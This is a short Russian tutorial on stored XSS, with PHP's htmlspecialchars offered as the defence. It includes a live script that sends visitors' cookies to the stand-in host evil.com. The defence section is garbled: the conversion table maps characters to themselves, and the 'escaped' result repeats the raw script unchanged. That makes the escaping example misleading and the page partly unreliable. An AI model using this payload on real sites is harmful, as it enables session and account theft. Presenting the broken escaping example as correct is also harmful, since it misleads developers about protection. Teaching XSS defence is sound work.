Что такое хранимые XSS
Суть хранимой XSS заключается в том, что бэкэнд сохраняет на сервере необработанные данные полученные от пользователя и в дальнейшем не обрабатывает их. Таким образом вредоносный html\JavaScript код сохраняется на веб сервере и в дальнейшем обрабатывается браузерами пользователей.
Пример уязвимости
Злоумышленник опубликовал запись в на крупном ресурсе в которой встроили js который отправляет на его сервер куки пользователя.
<script>
var img = document.createElement('img');
img.src = 'http://evil.com/cookies?data'+encodeURI(document.cookie);
document.body.appendChild(img);
</script>
Таким образом злоумышленник получит кукисы всех пользователей которые увидят его запись. Все просто.
Защита
Необходимо всегда фильтровать данные полученные из вне. В php есть замечательная функция htmlspecialchars которая поможет спастись от xss атак.
htmlspecialchars — Преобразует специальные символы в HTML-сущности Производятся следующие преобразования: '&' (амперсанд) преобразуется в '&' '"' (двойная кавычка) преобразуется в '"' в режиме ENT_NOQUOTES is not set. "'" (одиночная кавычка) преобразуется в ''' (или ') только в режиме ENT_QUOTES. '<' (знак "меньше чем") преобразуется в '<' '>' (знак "больше чем") преобразуется в '>'
Таким образом, при использовании функции htmlspecialchars
приведенный выше код будет преобразован в
<script>
var img = document.createElement('img');
img.src = 'http://evil.com/cookies?data'+encodeURI(document.cookie);
document.body.appendChild(img);
</script>